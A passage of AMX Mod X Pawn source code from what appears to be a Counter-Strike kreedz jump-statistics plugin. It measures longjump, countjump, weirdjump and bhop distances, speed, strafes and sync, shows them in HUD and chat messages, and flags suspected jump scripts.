check_maintop(id, floatround((fDistance*1000000), floatround_floor), floatround((fMaxAirSpeed[id]*1000000), floatround_floor), floatround((fMaxGroundSpeed[id]*1000000), floatround_floor), strafes[id], sync_, jumptype[id]);
}
ljStatsRed = get_pcvar_num(kz_ljstats_red);
ljStatsGreen = get_pcvar_num(kz_ljstats_green);
ljStatsBlue = get_pcvar_num(kz_ljstats_blue);
ljs_beam = get_pcvar_num(kz_ljs_beam);
static i;
if( gHasLjStats[id] && bljbeam[id] )
{
i = DrawBeam(id, ljs_beam, 1);
}
static strdist[128];
num_to_word(floatround(fDistance, floatround_floor), strdist, 127);
for( i = INFO_ONE; i < 33; i++ )
{
if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i] )
{
copy(strMessBuf,strLen,strMess);
if ( fallDown[id] || weapSpeed[id] != 250.0 || pev(id, pev_fuser2) == 0.0)
{
set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, (vBeamLastTime[id]*0.1), 0.1, 0.1, 3);
}
else
{
set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, -1.0, 0.70, 0, 0.0, (vBeamLastTime[id]*0.1), 0.1, 0.1, 3);
}
show_hudmessage(i, "Bhop Distance: %f^nMaxSpeed: %f (%.3f)^nPreStrafe: %f (%.3f)^nStrafes: %d^nSync: %d%%^n^n^nBhop Longjump'd", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fMaxGroundSpeed[id],fMaxGroundBhopSpeed[id], strafes[id], sync_ );
client_print(i, print_console, "Bhop Distance: %f MaxSpeed: %f (%.3f) PreStrafe: %f (%.3f) Strafes: %d Sync: %d", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fMaxGroundSpeed[id],fMaxGroundBhopSpeed[id], strafes[id], sync_ );
if ( StrafeStat[i] && strLen != 0 )
{
if ( fallDown[id] || weapSpeed[id] != 250.0 || pev(id, pev_fuser2) == 0.0)
{
set_hudmessage(255, 0, 109, 0.70, 0.35, 0, 0.0, (vBeamLastTime[id]*0.1), 0.1, 0.1, 4);
}
else
{
set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, 0.70, 0.35, 0, 0.0, (vBeamLastTime[id]*0.1), 0.1, 0.1, 4);
}
show_hudmessage(i,"%s",strMessBuf);
static strMessHalf[40];
for(jj=INFO_ONE; (jj <= strafes[id]) && (jj < NSTRAFES);jj++)
{
strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
replace(strMessHalf,40,"^n","");
client_print(i, print_console, "%s", strMessHalf);
}
}
if( possible_lj_script[id][0] || possible_lj_script[id][1] )
{
if( possible_lj_script[id][0] && possible_lj_script[id][1] )
client_print(i, print_center, "No ljtop access (possible lj script)");
else
client_print(i, print_center, "No ljtop access (possible %s script)", (possible_lj_script[id][0])?"prestrafe":"strafe");
}
if( get_pcvar_num(kz_lj_sounds) == 2 && gHasColorChat[i] && !(fallDown[id]) && weapSpeed[id] == 250.0 && pev(id, pev_fuser2) > 0.0)
client_cmd(i, "speak ^"vox/%s uniform(e30) it south(e15)^"", strdist);
if( i != id && (ljs_beam == 1 || ljs_beam == 2) && bljbeam[i] )
{
DrawSpecBeam(i);
}
}
}
if (!(fallDown[id]) && weapSpeed[id] == 250.0 && pev(id, pev_fuser2) > 0.0)
{
static Float:max_lj, Float:leet_lj, Float:pro_lj, Float:good_lj, ljtop, Float:god_lj;
ljtop = get_pcvar_num(kz_ljs_tops);
if( (!(possible_lj_script[id][0] || possible_lj_script[id][1] )) && (ljtop == 1 || ljtop == 3) )
{
max_lj = get_pcvar_float(kz_max_lj);
/* leet_lj = get_pcvar_float(kz_leet_lj) - 10;
pro_lj = get_pcvar_float(kz_pro_lj) - 10;
good_lj = get_pcvar_float(kz_good_lj) - 10;
ljtop = get_pcvar_num(kz_ljs_tops);
*/
leet_lj = 240.0;
pro_lj = 235.0;
good_lj = 230.0;
god_lj = 245.0;
if( fDistance < max_lj
&& !(fDistance < god_lj)
&& !(0 > god_lj))
{
PrintChatMess(id, 3, DIST_GOD, jumptype[id]);
}
else if( fDistance < max_lj
&& !(fDistance < leet_lj)
&& !(0 > leet_lj))
{
PrintChatMess(id, get_pcvar_num(kz_leet_lj_clr), DIST_LEET, jumptype[id]);
}
else if( fDistance < max_lj
&& !(fDistance < pro_lj)
&& !(0 > pro_lj))
{
PrintChatMess(id, get_pcvar_num(kz_pro_lj_clr), DIST_PRO, jumptype[id]);
}
else if( fDistance < max_lj
&& !(fDistance < good_lj)
&& !(0 > good_lj))
{
PrintChatMess(id, get_pcvar_num(kz_good_lj_clr), DIST_GOOD, jumptype[id]);
}
}
}
}
jumptype[id] = TYPE_NONE;
}
}
else
{
if( testBhop[id] && buttons&IN_JUMP && !(oldbuttons&IN_JUMP) && flags&FL_ONGROUND)
{
set_task(0.71,"gocheckbhop", id);
//client_print(id, print_console, "fMaxGroundBhopSpeed %f gSpeed %f fMaxGroundSpeed %f fMaxAirSpeed[id] %f OldSpeed[id] %f",fMaxGroundBhopSpeed[id], gSpeed, fMaxGroundSpeed[id], fMaxAirSpeed[id],OldSpeed[id]);
fMaxGroundBhopSpeed[id] = gSpeed - fMaxAirSpeed[id];
fMaxGroundSpeed[id] = gSpeed;
fMaxAirSpeed[id] = gSpeed;
//client_print(id, print_console, "fMaxGroundBhopSpeed %f gSpeed %f fMaxGroundSpeed %f fMaxAirSpeed[id] %f OldSpeed[id] %f",fMaxGroundBhopSpeed[id], gSpeed, fMaxGroundSpeed[id], fMaxAirSpeed[id],OldSpeed[id]);
set_hudmessage(255, 255, 255, -1.0, 0.70, 0, 0.0, 0.7, 0.1, 0.1, 3);
static i;
/*
if (fMaxGroundSpeed[id] > maxBhopPreSpeedWeap)
{
for( i = INFO_ONE; i < 33; i++ )
{
if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
{
show_hudmessage(i, "Prestrafe: %f (%.3f)^nYour Maxspeed was too high^nMaxspeed have to be under %.3f", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id], maxBhopPreSpeedWeap);
//client_print(i, print_console, "Prestrafe: %f (%.3f) Your Maxspeed was too high, Maxspeed have to be under %.3f", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id], maxBhopPreSpeedWeap);
}
}
}
else
{
for( i = INFO_ONE; i < 33; i++ )
{
if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
{
show_hudmessage(i, "Prestrafe: %f (%.3f)", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id]);
//client_print(i, print_console, "Prestrafe: %f (%.3f)", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id]);
}
}
}
*/
if (fMaxGroundSpeed[id] < maxBhopPreSpeedWeap)
{
for( i = INFO_ONE; i < 33; i++ )
{
if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
{
show_hudmessage(i, "Prestrafe: %f (%.3f)", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id]);
client_print(i, print_console, "OLDPrestrafe: %f (%.3f)", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id]);
}
}
}
isBhop[id] = true;
testBhop[id] = false;
jumptype[id] = TYPE_NONE; // ???
}
else
{ //TODO pravilnie yslovi9??
if( testBhop[id] && (isBhop[id] == false))
{
if (!(buttons&IN_JUMP) && oldbuttons&IN_JUMP)
{
//client_print(id, print_console, "slishkom rano");
set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, 0.5, 0.1, 0.1, 3);
static i;
for( i = INFO_ONE; i < 33; i++ )
{
if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
{
show_hudmessage(id,"You pressed jump too early!");
//client_print(id, print_console, "You pressed jump too early");
}
}
}
jumptype[id] = TYPE_NONE;
}
testBhop[id] = false;
}
if( buttons&IN_JUMP
&& !(oldbuttons&IN_JUMP)
&& flags&FL_ONGROUND
&& gInAir[id] == false )
{
pev(id, pev_origin, vOrigin);
static Float:temp[3],Float:temp2[3];
temp[0] = vFallAt[id][0];
temp[1] = vFallAt[id][1];
temp[2] = 0.0;
temp2[0] = vOrigin[0];
temp2[1] = vOrigin[1];
temp2[2] = 0.0;
//client_print(id, print_console,"wj %f",get_distance_f(vFallAt[id], vOrigin) );
//client_print(id, print_console,"wj %f",get_distance_f(temp, temp2) );
if (jumptype[id] == TYPE_WJ && get_distance_f(temp, temp2) > 5.2)
{
jumptype[id] = TYPE_NONE;
if ( get_distance_f(temp, temp2) < 12.0 )
{
gocheck(id);
//BUGBUGBUG it possible to do CJ with good prestrafe after unsucessfull Wj
//client_print(id, print_chat,"obnylili wj %f",get_distance_f(vFallAt[id], vOrigin) );
return FMRES_IGNORED;
}
}
set_task(0.8,"gocheck", id);
jumptime[id] = get_gametime();
static i;
gInAir[id] = true;
//strafecounter_oldbuttons[id] = 0;
//TODO is such IF is right? i think that isBhop[id] is useless
if (!isBhop[id] && !testBhop[id])
{
//vOldOrigin2[id] = vOrigin[2];
fMaxGroundSpeed[id] = fSpeed;
fMaxAirSpeed[id] = fSpeed;
vJumpedAt[id][2] = vOrigin[2];
//strafecounter_oldbuttons[id] = buttons;
}
strafecounter_oldbuttons[id] = INFO_ZERO;
fallDown[id] = false;
vJumpedAt[id][0] = vOrigin[0];
vJumpedAt[id][1] = vOrigin[1];
//client_print(id, print_console,"Numb JAT %f %f %f",vOrigin[0], vOrigin[1],vOrigin[2]);
if( doubleducked[id] && vOrigin[2] == vDuckedAt[id][2] )
cjumped[id] = true;
else
cjumped[id] = false;
doubleducked[id] = false;
strafes[id] = INFO_ZERO;
TempSpeed[id] = 0.0;
//vOrigin[2] -= 70;
//engfunc( EngFunc_TraceHull, vJumpedAt[id], vOrigin, DONT_IGNORE_MONSTERS, HULL_HUMAN, id, 0 );
//vJumpedAtEnt[id] = get_tr2( 0, TR_pHit );
for( i = INFO_ZERO; i < NSTRAFES; i++ )
{
strafe_stat_speed[id][i][0] = 0.0;
strafe_stat_speed[id][i][1] = 0.0;
strafe_stat_sync[id][i][0] = INFO_ZERO;
strafe_stat_sync[id][i][1] = INFO_ZERO;
strafe_stat_time[id][i] = 0.0;
}
turning_right[id] = false;
turning_left[id] = false;
strafing_aw[id] = false;
strafing_sd[id] = false;
ljhel[id][0] = 0.0;
ljhel[id][1] = 0.0;
ljhel[id][2] = 0.0;
if( cjumped[id] == false )
{
vBeamLastTime[id] = 0.0;
beam_jump_off_time[id] = jumptime[id];
for( i = INFO_ZERO; i < 127; i++ )
{
vBeamPos[id][i][0] = 0.0;
vBeamPos[id][i][1] = 0.0;
vBeamPos[id][i][2] = 0.0;
vBeamTime[id][i] = 0.0;
}
if (jumptype[id] != TYPE_WJ)
jumptype[id] = TYPE_LJ;
}
/*else if (isBhop[id] == true)
{
//TODO: we really need this here??
jumptype[id] = TYPE_BJ;
}*/
else
{
jumptype[id] = TYPE_CJ;
}
for( i = INFO_ZERO; i < 2; i++ )
{
vFramePos[id][i][0] = 0.0;
vFramePos[id][i][1] = 0.0;
vFramePos[id][i][2] = 0.0;
vFrameSpeed[id][i][0] = 0.0;
vFrameSpeed[id][i][1] = 0.0;
vFrameSpeed[id][i][2] = 0.0;
}
if( jumptype[id] == TYPE_WJ && !(is_in_duck(id)) )
{
set_hudmessage(255, 155, 100, -1.0, 0.70, 0, 0.0, 0.7, 0.1, 0.1, 3);
if (fSpeed > maxBhopPreSpeedWeap)
{
//TODO redone it in PostThink with better msg
for( i = INFO_ONE; i < 33; i++ )
{
if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
{
show_hudmessage(i, "Prestrafe: %f ^nYour Maxspeed was too high^nMaxspeed have to be under %.3f", fMaxGroundSpeed[id], maxBhopPreSpeedWeap);
client_print(i, print_console, "OLDPrestrafe: %f ^nYour Maxspeed was too high^nMaxspeed have to be under %.3f", fMaxGroundSpeed[id], maxBhopPreSpeedWeap);
}
}
}
else
{
for( i = INFO_ONE; i < 33; i++ )
{
if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
{
show_hudmessage(i, "Prestrafe: %f", fMaxGroundSpeed[id]);
client_print(i, print_console, "OLDPrestrafe: %f", fMaxGroundSpeed[id]);
}
}
}
}
vFallAt[id][0] = 0.0;
vFallAt[id][1] = 0.0;
vFallAt[id][2] = 0.0;
//client_print(id, print_console,"wj jumptype[id] %d",jumptype[id] );
// if (weapSpeed[id] > 250)
// {
// client_print(id, print_chat,"vot i prignyli %d flag1 %d ",jumptype[id],flags&FL_ONGROUND);
// }
}
else if( ( fallDown[id] || flags&FL_ONGROUND ) && gInAir[id])
{
// if (weapSpeed[id] > 250)
// {
// client_print(id, print_chat,"vot i prizemlilis %d",jumptype[id]);
// }
func69(id, TYPE_LCHJ);
// if (weapSpeed[id] > 250)
// {
// client_print(id, print_chat,"vot i prizemlilis2 %d",jumptype[id]);
// }
vJumpedAt[id][0] = vFramePos[id][1][0]; //for bhop
vJumpedAt[id][1] = vFramePos[id][1][1]; //for bhop
if (!fallDown[id]
&& vJumpedAt[id][2] == vOrigin[2]
&& fm_get_user_longjump(id) == false)
testBhop[id] = true;
if ((vJumpedAt[id][2] == vOrigin[2]) || fallDown[id] )
{
strMess[0] = '^0'; //unnecessary?
strLen = INFO_ZERO;
sync_ = INFO_ZERO;
badSyncTemp = INFO_ZERO;
goodSyncTemp = INFO_ZERO;
Fulltime = lasttime[id]-jumptime[id];
if(strafes[id] < NSTRAFES)
{
strafe_stat_time[id][0] = jumptime[id];
strafe_stat_time[id][strafes[id]] = lasttime[id];
for(jj = 1;jj <= strafes[id]; jj++)
{
time_ = ((strafe_stat_time[id][jj] - strafe_stat_time[id][jj-1])*100) / (Fulltime);
if ((strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]) > 0)
{
sync_ = (strafe_stat_sync[id][jj][0] * 100)/(strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]); //using like a buffer
}
else
{
sync_ = 0;
}
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "^t%2d^t%4.3f^t%4.3f^t%3.1f%%^t%3d%%^n", jj, strafe_stat_speed[id][jj][0], strafe_stat_speed[id][jj][1], time_, sync_);
goodSyncTemp += strafe_stat_sync[id][jj][0];
badSyncTemp += strafe_stat_sync[id][jj][1];
}
if (jumptype[id] == TYPE_HJ)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "^t^tHJ");
}
//if (BlockDist > 210.0 && BlockDist < get_pcvar_float(kz_max_lj))
// strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "Block %3.3f", BlockDist);
//strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, " WeirdJump");
}
//Standart Sync
if( goodSyncTemp > 0 )
sync_ = (goodSyncTemp*100/(goodSyncTemp+badSyncTemp));
else
sync_ = INFO_ZERO;
//weird jump
if(fDistance > get_pcvar_float(kz_min_lj) //TODO mb another cvar
&& jumptype[id] == TYPE_WJ
&& !(fDistance > get_pcvar_float(kz_max_lj) + 23.0) )
{
if( !(possible_lj_script[id][0] || possible_lj_script[id][1] || fallDown[id] || weapSpeed[id] != 250.0 || pev(id, pev_fuser2) == 0.0))
{
check_maintop(id, floatround((fDistance*1000000), floatround_floor), floatround((fMaxAirSpeed[id]*1000000), floatround_floor), floatround((fMaxGroundSpeed[id]*1000000), floatround_floor), strafes[id], sync_, TYPE_WJ);
}
ljStatsRed = get_pcvar_num(kz_ljstats_red);
ljStatsGreen = get_pcvar_num(kz_ljstats_green);
ljStatsBlue = get_pcvar_num(kz_ljstats_blue);
ljs_beam = get_pcvar_num(kz_ljs_beam);
static i;
if( gHasLjStats[id] && bljbeam[id] )
{
DrawBeam(id, ljs_beam, 1);
}
static strdist[128];
num_to_word(floatround(fDistance, floatround_floor), strdist, 127);
for( i = INFO_ONE; i < 33; i++ )
{
if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i] )
{
copy(strMessBuf,strLen,strMess);
if ( fallDown[id] || weapSpeed[id] != 250.0 || pev(id, pev_fuser2) == 0.0)
{
set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, (vBeamLastTime[id]*0.1), 0.1, 0.1, 3);
}
else
{
set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, -1.0, 0.70, 0, 0.0, (vBeamLastTime[id]*0.1), 0.1, 0.1, 3);
}
show_hudmessage(i, "WJ Distance: %f^nMaxSpeed: %f (%.3f)^nPreStrafe: %f^nStrafes: %d^nSync: %d%%^n^n^nWeirdJump'd", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fMaxGroundSpeed[id], strafes[id], sync_ );
client_print(i, print_console, "WJ Distance: %f MaxSpeed: %f (%.3f) PreStrafe: %f Strafes: %d Sync: %d", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fMaxGroundSpeed[id], strafes[id], sync_ );
if ( StrafeStat[i] && strLen != 0 )
{
if ( fallDown[id] || weapSpeed[id] != 250.0)
{
set_hudmessage(255, 0, 109, 0.70, 0.35, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 4);
}
else
{
set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, 0.70, 0.35, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 4);
}
show_hudmessage(i,"%s",strMessBuf);
static strMessHalf[40];
//if (jumptype[id] == TYPE_HJ || (BlockDist > 210.0 && BlockDist < get_pcvar_float(kz_max_lj)))
// strafes[id] += 1;
for(jj=INFO_ONE; (jj <= strafes[id]) && (jj < NSTRAFES);jj++)
{
strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
replace(strMessHalf,40,"^n","");
client_print(i, print_console, "%s", strMessHalf);
}
}
if( possible_lj_script[id][0] || possible_lj_script[id][1] )
{
if( possible_lj_script[id][0] && possible_lj_script[id][1] )
client_print(i, print_center, "No ljtop access (possible lj script)");
else
client_print(i, print_center, "No ljtop access (possible %s script)", (possible_lj_script[id][0])?"prestrafe":"strafe");
}
if( get_pcvar_num(kz_lj_sounds) == 2 && gHasColorChat[i] && !(fallDown[id]) && weapSpeed[id] == 250.0 && pev(id, pev_fuser2) > 0.0)
client_cmd(i, "speak ^"vox/%s uniform(e30) it south(e15)^"", strdist);
if( i != id && (ljs_beam == 1 || ljs_beam == 2) && bljbeam[i] )
{
DrawSpecBeam(i);
}
}
}
//still weird jump
if (!(fallDown[id]) && weapSpeed[id] == 250.0 && pev(id, pev_fuser2) > 0.0)
{
if( !(possible_lj_script[id][0] || possible_lj_script[id][1] ))
{
static Float:cj_dif, Float:max_cj, Float:leet_cj, Float:pro_cj, Float:good_cj, Float:god_cj, ljtop;
cj_dif = get_pcvar_float(kz_cj_dif);
cj_dif += 5;
max_cj = get_pcvar_float(kz_max_lj) + 23;
/* leet_cj = get_pcvar_float(kz_leet_lj) + cj_dif;
pro_cj = get_pcvar_float(kz_pro_lj) + cj_dif;
good_cj = get_pcvar_float(kz_good_lj) + cj_dif;
*/
leet_cj = 265.0;
pro_cj = 260.0;
good_cj = 255.0;
god_cj = 270.0;
ljtop = get_pcvar_num(kz_ljs_tops);
if( ljtop == 1 || ljtop == 3 )
{
if( fDistance < max_cj
&& !(fDistance < god_cj)
&& !(0 > god_cj))
{
PrintChatMess(id, 3, DIST_GOD, TYPE_WJ);
}
else if( fDistance < max_cj
&& !(fDistance < leet_cj)
&& !(0 > leet_cj))
{
PrintChatMess(id, get_pcvar_num(kz_leet_lj_clr), DIST_LEET, TYPE_WJ);
}
else if( fDistance < max_cj
&& !(fDistance < pro_cj)
&& !(0 > pro_cj))
{
PrintChatMess(id, get_pcvar_num(kz_pro_lj_clr), DIST_PRO, TYPE_WJ);
}
else if( fDistance < max_cj
&& !(fDistance < good_cj)
&& !(0 > good_cj))
{
PrintChatMess(id, get_pcvar_num(kz_good_lj_clr), DIST_GOOD, TYPE_WJ);
}
}
}
}
//jumptype[id] = TYPE_NONE;
} //long jump
else if( fDistance > get_pcvar_float(kz_min_lj)
&& fMaxGroundSpeed[id] < maxPreSpeedWeapon
&& cjumped[id] == false
&& !(fDistance > get_pcvar_float(kz_max_lj)) )
{
if( !(possible_lj_script[id][0] || possible_lj_script[id][1] || fallDown[id] || weapSpeed[id] != 250.0))
{
check_maintop(id, floatround((fDistance*1000000), floatround_floor), floatround((fMaxAirSpeed[id]*1000000), floatround_floor), floatround((fMaxGroundSpeed[id]*1000000), floatround_floor), strafes[id], sync_, TYPE_LJ);
}
ljStatsRed = get_pcvar_num(kz_ljstats_red);
ljStatsGreen = get_pcvar_num(kz_ljstats_green);
ljStatsBlue = get_pcvar_num(kz_ljstats_blue);
ljs_beam = get_pcvar_num(kz_ljs_beam);
static i;
if( gHasLjStats[id] && bljbeam[id] )
{
DrawBeam(id, ljs_beam, 1);
}
static strdist[128];
num_to_word(floatround(fDistance, floatround_floor), strdist, 127);
for( i = INFO_ONE; i < 33; i++ )
{
if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i] )
{
copy(strMessBuf,strLen,strMess);
if ( fallDown[id] || weapSpeed[id] != 250.0)
{
set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 3);
}
else
{
set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, -1.0, 0.70, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 3);
}
show_hudmessage(i, "Distance: %f^nMaxSpeed: %f (%.3f)^nPreStrafe: %f^nStrafes: %d^nSync: %d%%^n^n^nLongJump'd", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fMaxGroundSpeed[id], strafes[id], sync_ );
client_print(i, print_console, "Distance: %f MaxSpeed: %f (%.3f) PreStrafe: %f Strafes: %d Sync: %d", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fMaxGroundSpeed[id], strafes[id], sync_ );
if ( StrafeStat[i] && strLen != 0 )
{
if ( fallDown[id] || weapSpeed[id] != 250.0)
{
set_hudmessage(255, 0, 109, 0.70, 0.35, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 4);
}
else
{
set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, 0.70, 0.35, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 4);
}
show_hudmessage(i,"%s",strMessBuf);
static strMessHalf[40];
//if (jumptype[id] == TYPE_HJ || (BlockDist > 210.0 && BlockDist < get_pcvar_float(kz_max_lj)))
// strafes[id] += 1;
for(jj=INFO_ONE; (jj <= strafes[id]) && (jj < NSTRAFES);jj++)
{
strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
replace(strMessHalf,40,"^n","");
client_print(i, print_console, "%s", strMessHalf);
}
}
if( possible_lj_script[id][0] || possible_lj_script[id][1] )
{
if( possible_lj_script[id][0] && possible_lj_script[id][1] )
client_print(i, print_center, "No ljtop access (possible lj script)");
else
client_print(i, print_center, "No ljtop access (possible %s script)", (possible_lj_script[id][0])?"prestrafe":"strafe");
}
if( get_pcvar_num(kz_lj_sounds) == 2 && gHasColorChat[i] && !(fallDown[id]) && weapSpeed[id] == 250.0)
client_cmd(i, "speak ^"vox/%s uniform(e30) it south(e15)^"", strdist);
if( i != id && (ljs_beam == 1 || ljs_beam == 2) && bljbeam[i] )
{
DrawSpecBeam(i);
}
}
}
if (!(fallDown[id]) && weapSpeed[id] == 250.0)
{
if( !(possible_lj_script[id][0] || possible_lj_script[id][1] ))
{
static Float:max_lj, Float:leet_lj, Float:pro_lj, Float:good_lj, Float:god_lj, ljtop;
max_lj = get_pcvar_float(kz_max_lj);
/* leet_lj = get_pcvar_float(kz_leet_lj);
pro_lj = get_pcvar_float(kz_pro_lj);
good_lj = get_pcvar_float(kz_good_lj);
*/
leet_lj = 250.0;
pro_lj = 245.0;
good_lj = 240.0;
god_lj = 255.0;
ljtop = get_pcvar_num(kz_ljs_tops);
if( ljtop == 1 || ljtop == 3 )
{
if( fDistance < max_lj
&& !(fDistance < god_lj)
&& !(0 > god_lj))
{
PrintChatMess(id, 3, DIST_GOD, TYPE_LJ);
}
else if( fDistance < max_lj
&& !(fDistance < leet_lj)
&& !(0 > leet_lj))
{
PrintChatMess(id, get_pcvar_num(kz_leet_lj_clr), DIST_LEET, TYPE_LJ);
}
else if( fDistance < max_lj
&& !(fDistance < pro_lj)
&& !(0 > pro_lj))
{
PrintChatMess(id, get_pcvar_num(kz_pro_lj_clr), DIST_PRO, TYPE_LJ);
}
else if( fDistance < max_lj
&& !(fDistance < good_lj)
&& !(0 > good_lj))
{
PrintChatMess(id, get_pcvar_num(kz_good_lj_clr), DIST_GOOD, TYPE_LJ);
}
}
}
}
//jumptype[id] = TYPE_NONE;
} //CountJump
else if( fDistance > get_pcvar_float(kz_min_lj)
&& fMaxGroundSpeed[id] < maxBhopPreSpeedWeap //TODO: is it right?
&& cjumped[id] == true
&& !(fDistance > (get_pcvar_float(kz_max_lj) + 18)) )
{
if( !(possible_lj_script[id][0] || possible_lj_script[id][1] || fallDown[id] || weapSpeed[id] != 250.0))
{
check_maintop(id, floatround((fDistance*1000000), floatround_floor), floatround((fMaxAirSpeed[id]*1000000), floatround_floor), floatround((fMaxGroundSpeed[id]*1000000), floatround_floor), strafes[id], sync_, TYPE_CJ);
}
ljStatsRed = get_pcvar_num(kz_ljstats_red);
ljStatsGreen = get_pcvar_num(kz_ljstats_green);
ljStatsBlue = get_pcvar_num(kz_ljstats_blue);
ljs_beam = get_pcvar_num(kz_ljs_beam);
static i;
if( gHasLjStats[id] && bljbeam[id])
{
i = DrawBeam(id, ljs_beam, 2);
}
static strdist[128];
num_to_word(floatround(fDistance, floatround_floor), strdist, 127);
for( i = INFO_ONE; i < 33; i++ )
{
if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i] )
{
copy(strMessBuf,strLen,strMess);
if ( fallDown[id] || weapSpeed[id] != 250.0)
{
set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 3);
}
else
{
set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, -1.0, 0.70, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 3);
}
show_hudmessage(i, "CJ Distance: %f^nMaxSpeed: %f (%.3f)^nPreStrafe: (%.3f) %f^nStrafes: %d^nSync: %d%%^n^n^nCountJump'd", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fCjPreSpeed[id],fMaxGroundSpeed[id], strafes[id], sync_ );
client_print(i, print_console, "CJ Distance: %f MaxSpeed: %f (%.3f) PreStrafe: (%.3f) %f Strafes: %d Sync: %d", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fCjPreSpeed[id], fMaxGroundSpeed[id], strafes[id], sync_ );
if ( StrafeStat[i] && strLen != 0 )
{
if ( fallDown[id] || weapSpeed[id] != 250.0)
{
set_hudmessage(255, 0, 109, 0.70, 0.35, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 4);
}
else
{
set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, 0.70, 0.35, 0, 0.0, ((vBeamLastTime[id]*0.1)), 0.1, 0.1, 4);
}
show_hudmessage(i,"%s",strMessBuf);
static strMessHalf[40];
for(jj=INFO_ONE; (jj <= strafes[id]) && (jj < NSTRAFES);jj++)
{
strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
replace(strMessHalf,40,"^n","");
client_print(i, print_console, "%s", strMessHalf);
}
}
if( possible_lj_script[id][0] || possible_lj_script[id][1] )
{
if( possible_lj_script[id][0] && possible_lj_script[id][1] )
client_print(i, print_center, "No ljtop access (possible cj script)");
else
client_print(i, print_center, "No ljtop access (possible %s script)", (possible_lj_script[id][0])?"prestrafe":"strafe");
}
if( get_pcvar_num(kz_lj_sounds) == 2 && gHasColorChat[i] && !(fallDown[id]) && weapSpeed[id] == 250.0)
client_cmd(i, "speak ^"vox/%s uniform(e30) it south(e15)^"", strdist);
if( i != id && (ljs_beam == 1 || ljs_beam == 2) && bljbeam[i])
{
DrawSpecBeam(i);
}
}
}
if (!(fallDown[id]) && weapSpeed[id] == 250.0)
{
if( !(possible_lj_script[id][0] || possible_lj_script[id][1] ))
{
static Float:cj_dif, Float:max_cj, Float:leet_cj, Float:pro_cj, Float:good_cj, Float:god_cj, ljtop;
cj_dif = get_pcvar_float(kz_cj_dif);
max_cj = get_pcvar_float(kz_max_lj) + 18;
/* leet_cj = get_pcvar_float(kz_leet_lj) + cj_dif;
pro_cj = get_pcvar_float(kz_pro_lj) + cj_dif;
good_cj = get_pcvar_float(kz_good_lj) + cj_dif; */
leet_cj = 260.0;
pro_cj = 255.0;
good_cj = 250.0;
god_cj = 265.0;
ljtop = get_pcvar_num(kz_ljs_tops);
if( ljtop == 1 || ljtop == 3 )
{
if( fDistance < max_cj
&& !(fDistance < god_cj)
&& !(cj_dif > god_cj) )
{
PrintChatMess(id, 3, DIST_GOD, TYPE_CJ);
}
else if( fDistance < max_cj
&& !(fDistance < leet_cj)
&& !(cj_dif > leet_cj) )
{
PrintChatMess(id, get_pcvar_num(kz_leet_cj_clr), DIST_LEET, TYPE_CJ);
}
else if( fDistance < max_cj
&& !(fDistance < pro_cj)
&& !(cj_dif > pro_cj) )
{
PrintChatMess(id, get_pcvar_num(kz_pro_cj_clr), DIST_PRO, TYPE_CJ);
}
